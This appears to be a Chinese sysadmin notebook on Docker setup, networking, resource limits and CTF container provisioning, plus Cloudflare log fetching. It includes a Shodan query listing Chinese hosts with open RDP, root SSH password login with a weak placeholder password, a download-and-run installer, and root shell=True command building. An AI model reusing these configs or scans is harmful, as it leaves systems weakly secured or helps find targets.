filter: $filter) { count avg { sampleInterval __typename } __typename } activity: firewallEventsAdaptive(filter: $activityFilter, limit: $limit, orderBy: [datetime_DESC, rayName_DESC, matchIndex_ASC]) { action clientASNDescription clientAsn clientCountryName clientIP clientRequestHTTPHost clientRequestHTTPMethodName clientRequestHTTPProtocol clientRequestPath clientRequestQuery datetime rayName ruleId source userAgent matchIndex metadata { key value __typename } sampleInterval originResponseStatus edgeResponseStatus clientRefererScheme clientRefererHost clientRefererPath clientRefererQuery clientIPClass __typename } __typename } __typename }}"}') #print(x.json()) return x.json()["data"]["viewer"]['zones'][0]['activity'] logformat = ['datetime', 'clientIP', 'clientIPClass', 'edgeResponseStatus', 'originResponseStatus', 'clientRequestHTTPMethodName', 'clientRequestPath', 'clientRequestQuery', 'clientRequestHTTPProtocol', 'clientRefererScheme', 'clientRefererHost', 'clientRefererPath', 'clientRefererQuery', 'userAgent', 'action', 'clientASNDescription', 'clientAsn', 'clientCountryName', 'clientRequestHTTPHost', 'matchIndex', 'ruleId', 'sampleInterval', 'source', 'rayName'] fp=open("access.log", "w") ts = datetime.now(tz=timezone.utc) knownrays=set() data = None while data is None or len(data)==10000: data = fetch(ts) for i in data: if i['rayName'] in knownrays: continue line = "\t".join(str(i[j]) for j in logformat) fp.write(line+"\n") last = data[-1] knownrays.update([i['rayName'] for i in data if i['datetime']==last['datetime']]) print(last['datetime'], "len(knownrays)=",len(knownrays)) ts = datetime.strptime(last['datetime'], "%Y-%m-%dT%H:%M:%SZ") ``` 然后就能分析例如访问最多的IP: `cut -d$'\t' -f2 access.log|sort|uniq -c|sort -hr|head -n 30` ---- ## shodan 搜索开放特定端口的ip列表 这个需求只需要使用faucet即可,免费 举个例子:搜索3389的中国ip: [https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&facet=ip](https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&facet=ip) 也可以使用shodan的python包来查询,需要注册一个账号得到api key: ``` import shodan x=shodan.Shodan("APIKEY") data=x.search("port:3389 country:cn", facets=['ip:10000']) iplist=([i["value"] for i in data["facets"]["ip"]]) ``` ## 找到 /var/lib/docker/overlay2 对应的容器 硬盘空间不够,可能是docker占用了太多空间 参考 https://fabianlee.org/2021/04/08/docker-determining-container-responsible-for-largest-overlay-directories/ ``` ncdu /var/lib/docker/overlay2 #查看哪些目录占据空间最大 docker inspect $(docker ps -qa) | jq -r 'map([.Name, .GraphDriver.Data.MergedDir]) | .[] | "\(.[0])\t\(.[1])"' > docker-mappings.txt ``` ================================================ FILE: Docker.md ================================================ ## 搬运镜像 ``` IMAGE=mysql docker save $IMAGE | 7z a -si $IMAGE.tar.7z 7z x -so $IMAGE.tar.7z | docker load ``` ## 安装Docker ``` curl -fsSL https://get.docker.com -o get-docker.sh sh get-docker.sh --mirror Aliyun ``` ## myubuntu 基础镜像 @TAG 时区 timezone 简单地将Docker当成虚拟机来使用的话,自然要准备个好用的基础镜像咯 基于目前最新的ubuntu18.04,配置apt源、pip源、时区、ssh允许密码登录 Dockerfile: ``` FROM ubuntu:18.04 RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \ sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list # 修改apt源 RUN apt update && apt install -y ssh curl wget net-tools iputils-ping netcat python3-pip python-pip nano vim tzdata screen psmisc RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime # 修改时区 RUN mkdir -p ~/.pip && echo '[global]\nindex-url = http://pypi.doubanio.com/simple/\n[install]\ntrusted-host=pypi.doubanio.com\n'> ~/.pip/pip.conf RUN sed -i 's/prohibit-password/yes/g' /etc/ssh/sshd_config && sed -i 's/#PermitRootLogin/PermitRootLogin/g' /etc/ssh/sshd_config # 允许root用户密码登录 RUN echo root:badpassword|chpasswd # 记得修改这里的密码 ADD run.sh / RUN chmod +x /run.sh CMD /run.sh ``` run.sh: ``` #!/bin/bash service ssh start # 在容器内安装了mysql等之后可以在run.sh这里添加相应的启动命令 sleep infinity ``` build命令: ``` docker build -t myubuntu18 . ``` ## Install 安装 建议参见[如何翻墙](https://github.com/zjuchenyuan/notebook/blob/master/code/ssprivoxy.txt),部署http proxy 安装之前,建议修改apt源 安装之前,或许要对内核升级,如果执行安装脚本发出了对aufs的警告,请先看下面的 _解决aufs的问题_ 安装命令: curl -fsSL get.docker.com -o get-docker.sh sh get-docker.sh --mirror Aliyun 其中最后一步的apt-get install docker-engine耗时较长,看起来很像卡死,需要耐心等待 安装后执行docker version,没有报错即可 ### 解决aufs的问题 ``` apt-get install lxc wget bsdtar curl apt-get install linux-image-extra-$(uname -r) modprobe aufs ``` -------- ## 加速镜像下载 > 在执行以下操作之前,请检查docker的版本:`docker -v` > 如果你的docker版本为1.6.2,请参考下方 卸载docker ## 建议使用阿里云的镜像源 ``` sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://h0kyslzs.mirror.aliyuncs.com"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker ``` 另外你也可以使用USTC的镜像源:参考 https://lug.ustc.edu.cn/wiki/mirrors/help/docker ------- ### Docker旧版本卸载 如果你的docker是使用apt-get install docker.io安装的,先执行以下命令卸载: apt-get remove docker.io apt-get autoremove rm -rf /var/lib/docker 然后就可以执行安装命令了 -------- ## 获得容器的ip @TAG getip ``` alias getip="docker inspect --format '{{.NetworkSettings.IPAddress}}' " getip 容器名称 ``` 这种方案对macvlan的容器不适用,参见 获取macvlan容器的IP -------- ## 导出导入 ### 搬运镜像--save导出镜像 由于网络带宽(流量)往往是瓶颈资源,所以产生更小的压缩文件很有必要,这里我们可以生成 tar.7z 文件:`apt-get install -y p7zip-full` docker save 镜像名称 | 7z a -si 导出文件名.tar.7z 这是生成tar.gz文件: docker save 镜像名称 | gzip >导出文件名.tar.gz ### 搬运镜像--load载入镜像 如果是 tar.7z 文件,需要调用 7z 命令解压: 7z x -so 文件名.tar.7z | docker load 如果是 tar.gz 文件,可以直接载入: docker load < 文件名.tar.gz ### Export导出容器 并不常用 直接导出容器并不常用,建议`docker commit 容器名称 保存成的镜像名称`,然后导出镜像 导出容器得到的是tar文件,没有进行压缩,我们需要手动执行压缩 docker export 容器的名称或ID | gzip >导出文件名.tar.gz ### Import导入容器 虽然上一步我们压缩了,但docker可以直接import,不需要用gunzip docker import 文件名 -------- ## 解决iptables failed - No chian/target/match by that name 如果docker安装的时候没有自动把需要的规则链加上,可以手动添加 iptables -t nat -N DOCKER iptables -t filter -N DOCKER 附:如果需要删除链条,可以用`iptables-save`导出后手动编辑后`iptables-restore` -------- ## 迁移Docker文件夹到其他硬盘 当镜像多了起来的时候,/var/lib所在的磁盘分区很可能被占满,这时候要考虑迁移到其他硬盘,此处以迁移到`/home/docker`为例说明 ```bash # 首先记得关闭服务 service docker stop mv /var/lib/docker /home/ # 然后修改服务配置文件/etc/default/docker,此处建议手动vim编辑,在启动参数中加入这个: # --graph='/home/docker' echo -e "\nDOCKER_OPTS=\"--graph='/home/docker'\"" >> /etc/default/docker ``` ---- ## 解决debian等容器没有ifconfig,killall的问题 ``` apt-get install net-tools psmisc ``` ---- ## 设置容器低权限用户运行 @TAG user 安全最佳实践 在Dockerfile中加入 ``` User nobody ``` 容器运行后exec进去默认是nobody用户,并不能su啥的,这时候exec需要带参数-u表示用指定用户身份进入容器: ``` docker exec -i -t -u root 容器名称 /bin/bash ``` ---- ## 设置容器/etc/resolv.conf和/etc/hosts 在容器中这两个文件是以mount形式挂载的,不能unmount;即使进行修改,容器重启后修改就丢失了 其实这两个文件应该在容器创建的时候指定参数`--dns`和`--add-host`来加以控制: ``` docker run -d --dns 114.114.114.114 --add-host example.com:1.2.3.4 容器名称 ``` ---- ## 容器限制参数设置 当容器是开放给不可信域的时候(如部署一个CTF的pwn题目),虽然容器逃逸0-day我也没办法,但限制一下容器资源占用防止搅屎也是很有必要的 ``` --cpu-shares 512 --cpu-period=100000 --cpu-quota=50000 --memory 104857600 --ulimit=nofile=65536 --pids-limit=200 --blkio-weight=512 --restart="always" ``` 效果简介:如上配置最多占用 50% 单个 CPU ,最多占用100MB物理内存,容器内进程数目最多200个 `--cpu-shares`表示相对利用占比,不设置的默认值为1024,单个CPU是1024,只有当容器试图占用100%的CPU时才会体现作用,举个例子: > From: http://blog.opskumu.com/docker-cpu-limit.html > 假如一个 1core 的主机运行 3 个 container,其中一个 cpu-shares 设置为 1024,而其它 cpu-shares 被设置成 512。当 3 个容器中的进程尝试使用 100% CPU 的时候「尝试使用 100% CPU 很重要,此时才可以体现设置值」,则设置 1024 的容器会占用 50% 的 CPU 时间,其他两个容器则只能分别占用到 25% 的 CPU 时间。 > 如果主机是 3core,运行 3 个容器,两个 cpu-shares 设置为 512,一个设置为 1024,则此时每个 container 都能占用其中一个 CPU 为 100%。 `--cpu-period`表示按多少秒分片,例如设置为100000就是按100ms分割,同时设置`--cpu-quota`为50000就是50ms,效果是同时只能使用0.5个CPU `--memory`限制容器使用的物理内存,当容器超出时,其中的进程会被kill,详细请参考http://blog.opskumu.com/docker-memory-limit.html `--blkio-weight`表示IO相对权重,详细请参考[http://blog.opskumu.com/docker-io-limit.html](http://blog.opskumu.com/docker-io-limit.html) ---- ## 快速部署ftp @TAG vsftpd vsftpd的配置真是让人头疼,不如`docker search ftp`一番,然后google一下找到对应的[Docker Hub页面](https://hub.docker.com/r/stilliard/pure-ftpd/) 使用步骤: ``` docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST=localhost" -v /path/to/the_ftp_directory:/data stilliard/pure-ftpd:hardened docker exec -it ftpd_server /bin/bash #进入容器后创建用户 pure-pw useradd bob -f /etc/pure-ftpd/passwd/pureftpd.passwd -m -u ftpuser -d /data ``` ---- ## 快速部署wordpress @TAG sub_filter 想搭建一个自己的blog,选择玩一玩wordpress咯,这里记录一下完整的流程和遇到的问题及解决方案 技术相关: Docker Nginx HTTPS 目标: 快速搭建一个全站https的wordpress站点,域名为example.com ### 完整流程: 1. 前期准备:域名+vps 注册域名 如果面向国内访问,还需要备案咯;别忘了配置DNS解析 买个vps服务器,建议选择香港vps 2. 安装Docker和Nginx ``` curl -fsSL https://get.docker.com -o get-docker.sh sh get-docker.sh --mirror Aliyun apt-get install -y nginx ``` 3. 启动一个mysql的镜像: ``` # Google搜索关键词 "docker mysql" docker run --name mysql -e MYSQL_ROOT_PASSWORD=这里改成你想设置的密码 -d mysql # Google搜索关键词 "docker wordpress" docker run --name wp --link mysql:mysql -p 6666:80 -d wordpress ``` 4. 域名https证书获取以及启用https访问,此部分具体见[Nginx.md](Nginx.md)中`获得Let's encrypt免费https证书`和`配置安全的https`部分 5. 配置Nginx,完整配置如下: ``` server{ server_name *.example.com example.com; location /.well-known/acme-challenge { #这是let's encrypt申请证书的时候用到的目录 alias /tmp/acme/; try_files $uri =404; } location /{ rewrite ^ https://$host$request_uri? permanent; } } server{ server_name *.example.com example.com; include https.conf; access_log /var/log/nginx/example_access.log; error_log /var/log/nginx/example_error.log; ssl_certificate /home/keys/example.crt; ssl_certificate_key /home/keys/example.key; location / { proxy_pass http://127.0.0.1:6666; proxy_set_header Host $host; proxy_set_header Accept-Encoding ""; #禁止后端返回gzip内容,保证能够替换 sub_filter_once off; #多次替换 不只是替换一次 sub_filter "http://www.example.com" "https://www.example.com"; } } ``` ### 遇到的坑 1. docker run的时候忘记-p参数 建议还是把端口映射出来,在容器重启后容器的内网IP是会发生变化的,不适合将172.17.0.*这种IP写入nginx配置 此时我选择了`docker rm -f 容器ID`强制删掉容器,再加上-p参数后启动 2. 全站https 虽然我的https.conf中定义了HSTS,浏览器也确实会把所有的请求都自动用https协议访问,但是还是由于form的action为http协议而警告不安全(在Chrome开发人员工具的Console看到),也没有小绿锁显示。所以要保证服务器输出给浏览器的内容就是https的链接 一开始选择了官方wordpress的方法(Google关键词"wordpress https"),结果导致了下文第三点的折腾 最终选择的方案是在nginx反向代理的时候替换文本内容,使用sub_filter这个模块进行文本内容替换 遇到了问题,这个sub_filter不起作用,(Google关键词 "sub_filter not working")原因是容器返回的内容启用了gzip,无法替换,方法是加入一行配置禁止容器的Apache使用gzip: proxy_set_header Accept-Encoding ""; 参考: http://stackoverflow.com/questions/31893211/http-sub-module-sub-filter-of-nginx-and-reverse-proxy-not-working 3. 由于在后台修改了Wordpress Address和Site Address改为https的链接,导致后台无法打开,重定向死循环 解决方案是进入mysql容器手动修改,把进行的修改改回去 问题在于我也并不知道改了啥,在终端mysql`select * from wp_options;`有些行太长导致关键内容刷屏而过,不方便查看表 我的方法是先`mysqldump -p密码 wordpress >test.sql`,再用nano打开test.sql,用Ctrl+W搜索https(Google关键词"nano search"),把对应的地方找到改回http,保存后用`mysql -p密码 wordpress < test.sql`导入数据库 完事~ ---- ## Dockerfile 中的 apt-get 为了让 apt-get 顺利静默执行,需要配置环境变量防止交互: ``` DEBIAN_FRONTEND=noninteractive apt-get install -y ... ``` ---- ## 让Docker容器得到内网IP 这里的内网不是只有主机可以访问的容器Docker内网,而是主机接入的企业内网这种;如果你能直接通过设置IP获得公网IP,当然按照这个方法也能给容器分配公网IP 注意:此方法Docker容器虽然获得了和主机地位相同的IP,但容器无法使用主机的IP与主机通讯,主机好像也不能访问容器的IP,这是Linux内核为了隔离性和安全性做出的限制 参考: > [不用端口转发给容器分配公网IP地址 ASSIGN PUBLIC IP ADDRESS TO DOCKER CONTAINER WITHOUT PORT BINDING.](https://micropyramid.com/blog/assign-public-ip-address-to-docker-container-without-port-binding/) > [Macvlan and IPvlan basics](https://sreeninet.wordpress.com/2016/05/29/macvlan-and-ipvlan/) > [Docker Networking Tip – Macvlan driver](https://sreeninet.wordpress.com/2017/08/05/docker-networking-tip-macvlan-driver/) > [PPT Docker Networking - Common Issues and Troubleshooting Techniques](https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques) 做法也很简单,首先创建一个Macvlan类型的docker网络,然后在创建容器的时候加入这个网络并指定IP/不指定则自动分配 例子:主机(网卡eth0)的IP为10.1.1.2,网关为10.1.1.1,主机所处的IP段是10.1.1.1/24,在该网段内主机可以任意获得IP,我们希望容器分配在10.1.1.65~10.1.1.126之间 (即 10.1.1.64/26) 附: [这是一个输入Network 10.1.1.64/26转换为HostMin 10.1.1.65~ HostMax 10.1.1.126的计算器](http://jodies.de/ipcalc?host=10.1.1.64&mask1=26&mask2=) ``` docker network create -d macvlan -o macvlan_mode=bridge -o parent=eth0 --subnet=10.1.1.0/24 --ip-range=10.1.1.64/26 --gateway=10.1.1.1 macvlan_network docker run --net=macvlan_network --ip=10.1.1.100 -d nginx ``` 现在你可以访问 `http://10.1.1.100` 来看到nginx的欢迎页面了,你需要在内网另一台机器上访问(我的发现是主机和这样分配的容器是不互通的) !!! warning "可能的IP冲突" 启动容器时可以不指定ip让docker自动分配,警告:如果没有配置ip-range参数,有可能被分配的恰好是主机本身的IP,这种情况将导致主机丢失IP无法联网! 万一发生这种虚拟机把主机的IP抢占的情况,在没有物理控制方法下不可轻易使用ifconfig修改主机IP,因为一旦使用ifconfig主机的route将被清空、当前主机的其他IP也会丢失,你就丢失远程访问的可能了(也许你可以写一个脚本自动恢复route稳妥一点);但神奇的是即使主机route已经丢失,按照上述macvlan开出来的Docker容器仍然在线(也可以理解——容器的route并没有受到影响,类似于Virtualbox的桥接网卡方式) ### 获取macvlan容器的IP @TAG getip ``` # clean version docker inspect --format "{{.NetworkSettings.Networks.macvlan网络名称.IPAddress}}" 容器名称 # dirty but quick version docker inspect 容器名称 | grep IP ``` ### macvlan查看已经分配的IP 由于主机和容器不能互通,所以主机如何得知目前已经分配的IP列表呢?用docker network inspect咯,然后用python处理一下输出格式 下面这个命令列出了容器IP和容器名称: ``` docker network inspect macvlan_bridge --format "{{range .Containers}}{{.IPv4Address}}@{{.Name}},,,{{end}}" | python3 -c 'print(input().replace("/24@","\t").replace(",,,","\n"),end="")'|sort ``` 如果只需要IP列表: ``` docker network inspect macvlan_bridge --format "{{range .Containers}}{{.IPv4Address}},{{end}}" | python3 -c 'print(input().replace("/24,","\n"),end="")'|sort ``` ### 主机访问macvlan的容器 由于内核限制并不支持host直接使用上述指定的ip访问容器,而docker network connect让容器再加入一个网络又会改变容器的默认路由,但我就是想让主机能访问到容器,咋办哩? 参考:http://blog.oddbit.com/2018/03/12/using-docker-macvlan-networks/ 想访问的容器IP为10.1.1.66,这种方法需要让主机再获得一个IP,例如10.1.1.3。注意这种配置是不持久的,重启后丢失 ``` DEVICE_NAME="eth0" NAME="mynet-shim" HOST_GETIP="10.1.1.3" TARGET_IP="10.1.1.66" ip link add $NAME link $DEVICE_NAME type macvlan mode bridge ip addr add $HOST_GETIP/32 dev $NAME ip link set $NAME up ip route add $TARGET_IP/32 dev $NAME ``` ---- ## 使用iptables端口转发让Docker容器得到内网IP 上述基于macvlan的方法容器无法与主机通讯,所以下述基于iptables端口转发的方法更胜一筹 这种方法基于主机自己去获得一个额外的内网ip后,用iptables端口转发来实现给容器内网IP的效果,容器应用可以得到请求源IP,但容器向外发起的tcp请求还是主机自身的默认IP 该脚本运行时需要两个参数 第一个为容器名称 第二个为新的IP后缀 举个例子 主机在10.12.34.x这个内网地址段 且可以随意得到这个地址段的内网IP,现在要给mysql容器10.12.34.202这个IP,运行方式就是`./give_container_ip.sh mysql 202` 记得修改下面的IPPREFIX和ETH0变量! ### give_container_ip.sh @TAG 端口转发 ``` #!/bin/bash set -ex shopt -s expand_aliases if [ -z $1 ] && [ -z $2 ]; then echo "Usage: $0 " echo "Example: $0 u202 202" exit 1 fi alias getip="docker inspect --format '{{.NetworkSettings.IPAddress}}' " IPPREFIX="10.12.34." ETH0="eth0" sudo ifconfig $ETH0:$2 $IPPREFIX$2 netmask 255.255.255.0 up sudo iptables -t nat -I PREROUTING -d $IPPREFIX$2 -p tcp -j DNAT --to `getip $1` sudo iptables -t nat -I POSTROUTING -s `getip $1`/32 -d `getip $1`/32 -p tcp -m tcp -j MASQUERADE ``` 为什么最后用MASQUERADE而不用SNAT呢?因为用SNAT容器的应用就不能得到请求的源IP,在实际应用中是无法接受的;这一条iptables规则是我用`docker run -p`和`iptables-save`得到的 ---- ## 对容器网络流量tcpdump Learned from: https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques ``` docker run -ti --net container: nicolaka/netshoot tcpdump -i eth0 -n port 80 ``` 举个例子,上述启动了nginx容器并分配了内网ip 10.1.1.100,我们来收集80端口的流量,并保存到/tmp/pcapfiles/nginx.pcap文件: ``` docker run -ti --net container:f5fc -v /tmp/pcapfiles:/data nicolaka/netshoot tcpdump -i eth0 -n -s0 -w /data/nginx.pcap port 80 ``` [查看tcpdump参数解释explainshell](http://explainshell.com/explain?cmd=tcpdump%20-i%20eth0%20-n%20-s0%20-w%20/data/nginx.pcap%20port%2080) ---- ## 修改正在运行的容器的重启策略 docker run的时候忘了指定restart=always,除了commit后再正确地run一遍之外有没有更加优雅的修改容器参数的方法呢? 参考: https://stackoverflow.com/questions/26852321/docker-add-a-restart-policy-to-a-container-that-was-already-created 在1.11版本后有了`docker update`这个命令,可以修改正在运行的容器的参数,如CPU限制、内存限制 和 重启策略 使目前运行的所有容器都设置为自动重启: ``` docker update --restart=always `docker ps -q` ``` 如果要取消这个自动重启,改为`--restart=no`即可 ---- ## 快速部署samba @TAG share 镜像地址:[dperson/samba](https://hub.docker.com/r/dperson/samba/) 快速分享一个目录/data,用户名`user`密码`badpassword`: ``` docker run -d -p 139:139 -p 445:445 --name samba -v /data:/data dperson/samba -u "user;badpassword" -s "data;/data;yes;no;no;all" ``` 其中-u指定用户名密码;-s参数的格式为: 给访问者看的分享名称;物理位置;是否列出;未登录可否访问;允许访问的用户(all表示所有用户) ---- ## 按需分配容器 过期自动销毁 @TAG ctf xinetd 有些题目需要给每个人单独的容器,为了节约资源还需要设置一个时间,过期后自动删除容器 为了防止滥用还要引入Proof Of Work,回答正确后才分配容器 !!! warning 该代码直接用的docker命令来创建容器,且需要root权限,注意使用上的安全风险 代码如下:`utils.py` ```python #/usr/bin/python3 #coding:utf-8 import subprocess import time import string import os import hashlib import random from random import randint # 限时设定 def clock(timeout=5): import signal def signal_handler(signum,data): if signum == signal.SIGALRM: print("Time is up!") exit() signal.signal(signal.SIGALRM, signal_handler) signal.alarm(int(timeout)) # 生成随机字符串 def randomstring(len=5): return ''.join(random.sample(string.ascii_letters,len)) # 计算md5 def md5(src): return hashlib.md5(bytes(src,encoding='utf-8')).hexdigest() # 显示一个随机字符串,要求用户计算其md5 def pow_calcmd5(): question = randomstring() answer = md5(question) print("Please calculate md5(%s)="%question,end='') if input()!=answer: exit() # 显示一个随机字符串,要求用户输入另一个字符串满足md5以difficulty个0开头 def pow_realmd5(difficulty=4): question = randomstring() print("[Proof Of Work]") print("Please calculate s, make that \n md5(\"%s\"+s).startswith('%s')"%(question,'0'*difficulty)) print("Input your s:",end='') s = input() if not md5(question+s).startswith('0'*difficulty): exit() # 从镜像启动容器 def start_container(image, port, paramstring): """ image:镜像名称 port: 需要映射的端口 paramstring: 额外的参数设置字符串 如"-v /d/blabla:/data" 返回(容器ID, 映射得到的端口) """ container = subprocess.check_output("docker run -d -p :"+str(port)+" "+paramstring+" "+image+" /run.sh",shell=True).decode().replace("\n","") inspect = subprocess.check_output("docker inspect --format '{{.NetworkSettings.Ports}}' %s"%container,shell=True).decode().replace("\n","") openport = inspect.split("{")[1].split()[1].split("}")[0] return (container, openport) # 计划在minutes分钟后销毁容器container 需要atd服务 def plan_stop_container(container, minutes): PATH = os.getcwd() minutes = str(minutes) filename = "%s_%d"%(time.strftime("%Y_%m_%d_%H_%M_%S"),randint(0,666)) open(PATH+"/"+filename,"w").write("docker kill %s && docker rm %s && rm %s/%s"%(container,container,PATH,filename)) subprocess.check_output("at now + %s minutes -f %s 2>/dev/null"%(minutes,filename),shell=True) # 生成一个runner的二进制程序,xinetd并不支持直接运行python if __name__ == "__main__": print("[*] writing to runner.c") path = os.getcwd() open("runner.c","w").write("""#include #include #include int main(){ chdir("%s"); system("python3 %s/runner.py"); return 0; } """%(path, path)) print("[*] compile runner.c to runner") os.system("gcc runner.c -o runner") ``` 用到的xinetd配置:`runner.conf`,注意保存的时候不能有\r `:set ff=unix` ``` service 题目名称 { socket_type = stream protocol = tcp wait = no user = root bind = 0.0.0.0 server = /绝对路径/runner type = UNLISTED port = 端口号 disable = no } ``` ---- ## 在容器A中使用别名访问容器B 容器A是web应用,需要访问redis的容器B,如果用docker inspect拿到现在容器B的IP写入到配置,一旦docker重启这个容器IP就会发生变化 更好的方式是使用docker的自定义网络:创建网络,把redis加入网络,把app加入网络 ``` docker network create useredis docker network connect --alias redis useredis redis docker network connect --alias app useredis app ``` 在加入网络的时候指定--alias即可,网络中的其他容器就能通过这个alias访问到,这样操作后app容器里面就能ping redis了 ---- ## 修复Docker更新到18.02后部分容器无法start的问题 apt说可以更新,于是就更新了,然而却悲催地发现部分容器无法启动,报错信息: ``` docker start returns "container already exists" ``` Google找到了相关issue在[这里](https://github.com/moby/moby/issues/36145) 不删容器重建、不回滚Docker的解决方案为: ``` sudo docker-containerd-ctr --namespace moby --address /run/docker/containerd/docker-containerd.sock c rm `docker inspect --format '{{.Id}}' 无法启动的容器名称` ``` 注意需要输入的是那个很长的容器id,所以先用docker inspect获取其长Id 如果docker-containerd-ctr 不存在,也许你使用的是Docker for mac,需要这么操作: ``` docker run -it --rm -v /:/host alpine /host/usr/local/bin/docker-containerd-ctr --namespace moby --address /host/run/docker/containerd/docker-containerd.sock c rm 出错的容器id ``` ---- ## 解决docker exec -it进入容器屏幕大小不对的问题 发现docker exec -it进入容器的bash后tty的大小不对 只有80x24,参考这个 https://github.com/moby/moby/issues/35407 解决方案:在进入容器时配置环境变量COLUMNS和LINES为正确值即可,为了便于操作与记忆,写~/.bashrc咯: ``` function din(){ docker exec -ti --env COLUMNS=`tput cols` --env LINES=`tput lines` $1 /bin/bash } alias din=din ``` 使用的时候只需要`din 容器名称`就能进入容器bash啦,这样进入容器vim也能全屏幕显示了 ---- ## 不使用docker pull也能下载到镜像 !!! warning "" 该脚本存在问题,下载到的镜像层可能无法导入,仍待研究 github上官方有下载脚本: https://github.com/moby/moby/blob/master/contrib/download-frozen-image-v2.sh 使用的时候第一个参数是目录名称,第二个是镜像名称:latest,其中:tag是必须要写的 下述命令下载脚本,替换为从阿里云下载,最后打包成golang.tar (由于下载到的layer的tar包已经是gzip压缩过的 没必要再7zip压缩) ``` wget https://raw.githubusercontent.com/moby/moby/master/contrib/download-frozen-image-v2.sh sed -i 's/registry-1.docker.io/h0kyslzs.mirror.aliyuncs.com/g' download-frozen-image-v2.sh sed -i 's/token="$(/token="" #/g' download-frozen-image-v2.sh chmod +x download-frozen-image-v2.sh ./download-frozen-image-v2.sh /tmp/golang google/golang:latest tar -vf golang.tar -cC '/tmp/golang' . ``` 然后就可以传输golang.tar,导入方法很简单 ``` docker load < golang.tar ``` ---- ## 启动另一个Docker Daemon进程 有时候需要进行build操作,发现根目录剩余空间不够了,但另外一块硬盘还有空间,整体迁移/var/lib/docker或合并两个硬盘为lvm又不现实,这时就可以开启一个新的Docker Daemon,把Docker使用的目录设置为另一块硬盘 参考:http://blog.alpaca.ai/run-multiple-docker-daemons-with-net-container/ docker工作目录假设为/home/cy/docker 第一次执行: ``` OFFSET=0 u="cy" BRIDGE_NAME=br_${u} DOCKER_ROOT=/home/${u}/docker mkdir -p ${DOCKER_ROOT} brctl addbr ${BRIDGE_NAME} SUBNET=$(expr 52 + ${OFFSET}) ip addr add 172.18.${SUBNET}.1/24 dev ${BRIDGE_NAME} ip link set dev ${BRIDGE_NAME} up iptables -t nat -A POSTROUTING -j MASQUERADE -s 172.18.${SUBNET}.0/24 -d 0.0.0.0/0 ``` 运行dockerd执行: ``` u="cy" BRIDGE_NAME=br_${u} DOCKER_ROOT=/home/${u}/docker dockerd -D \ -g ${DOCKER_ROOT}/g \ --exec-root=${DOCKER_ROOT}/e \ -b ${BRIDGE_NAME} \ --dns=8.8.8.8 \ --iptables=true \ -H unix://${DOCKER_ROOT}/docker.sock \ -p ${DOCKER_ROOT}/docker.pid ``` ---- ## 配置使用Docker版本的Gitlab CI 参考文档: - 官方教程 https://docs.gitlab.com/runner/ - 高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html 人家这东西本质上是一个docker容器,但是把主机的docker sock传入到容器中,所以容器内可以创建容器 我这里的教程着重解决两个问题:使用自定义的镜像,设置DNS ### 第一步当然是pull人家的runner镜像咯 ``` docker pull gitlab/gitlab-runner ``` ### 第二步 获取CI连接时需要的token 在管理员界面 Overview下Runners点开即可看到 网址: /admin/runners ### 第三步 注册以生成初始的配置信息 参考https://docs.gitlab.com/runner/register/index.html#docker 假设容器配置文件保存在/dockerfiles/gitlabrunner中,其中docker-image是默认跑任务的镜像 ``` docker run --rm -t -i -v /dockerfiles/gitlabrunner:/etc/gitlab-runner --dns 10.0.0.1 gitlab/gitlab-runner register --non-interactive \ --url "https://gitlab.com/" \ --registration-token "上一步获得的token" \ --executor "docker" \ --docker-image myubuntu:latest \ --description "docker-runner" \ --run-untagged \ --locked="false" ``` ### 第四步 修改配置文件 参考高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html 和 https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work ``` cd /dockerfiles/gitlabrunner #你的配置文件目录 sudo vim config.yml ``` 为了跑本地已经存在的镜像(默认为always表示只能跑dockerhub上的),在[runners.docker]中需要添加: ``` pull_policy = "never" ``` 或者这里你也可以使用"if-not-present" 不存在就pull 另外 如果需要修改容器DNS,也添加进去即可 ``` dns = ["10.0.0.1"] ``` ### 第五步 启动runner容器 如果需要改dns,这里也别忘记写上 ``` docker run -d --name gitlab-runner --restart always \ -v /dockerfiles/gitlabrunner:/etc/gitlab-runner \ -v /var/run/docker.sock:/var/run/docker.sock \ --dns 10.0.0.1 \ gitlab/gitlab-runner:latest ``` ### 第六步 创建一个新的repo来测试一下吧 新建`.gitlab-ci.yml`文件,这里使用自己编译的myubuntu镜像 ``` image: myubuntu:latest test:app: script: - echo ok - curl ip.cn ``` 然后在gitlab的仓库页面 最新的一次commit message右侧就有CI成功与否状态的图标 点进去看详细日志咯 ---- ## 为已经存在的容器创建临时端口映射 socat @TAG 端口转发 出于学习目的,想快速地建立一下临时的Docker容器端口映射 用socat咯: ``` socat TCP4-LISTEN:9300,fork TCP4:172.17.0.3:9300 ``` 如果没有socat,可以: ``` docker run -ti --rm --net host bobrik/socat TCP4-LISTEN:9300 TCP4:172.17.0.3:9300 ``` ---- ## 查看所有容器内存占用 并排序 `docker stats`就能看到实时更新的结果,但并没有提供排序功能 ``` docker stats --no-stream|sort -h -r -k 4,4 ``` 排序列对应关系如下: |列号|列名| |---|---| |3|CPU| |4|内存| |8|网络流入| |10|网络流出| |11|文件写入| |13|文件读取| |14|容器内线程数量(PID数)| ---- ## 运行中的容器添加目录挂载 Docker自身只允许在创建容器的时候指定-v进行目录挂载,怎么在不停止容器的情况下增加挂载呢? !!! warning "" 注意此方法在容器重启后即失效,需要重新挂载 参考:https://medium.com/kokster/mount-volumes-into-a-running-container-65a967bee3b5 方法是把块设备挂载到容器中,然后可以使用bind mount 假设容器名称为app_container,需要挂载/dev/sdb1这个设备,命令如下: Step1: 首先要查看设备id以便在容器中mknod创建设备,然后使用nsenter使用主机的权限挂载设备 Step2: 现在就可以在容器中使用/tmpmount读取到设备了,但如果我们只需要挂载其中一个文件夹 例如设备的data文件夹挂载到容器的/newdata,还可以继续执行: Step3: 最后清理掉临时挂载的/tmpmount 不会影响bind 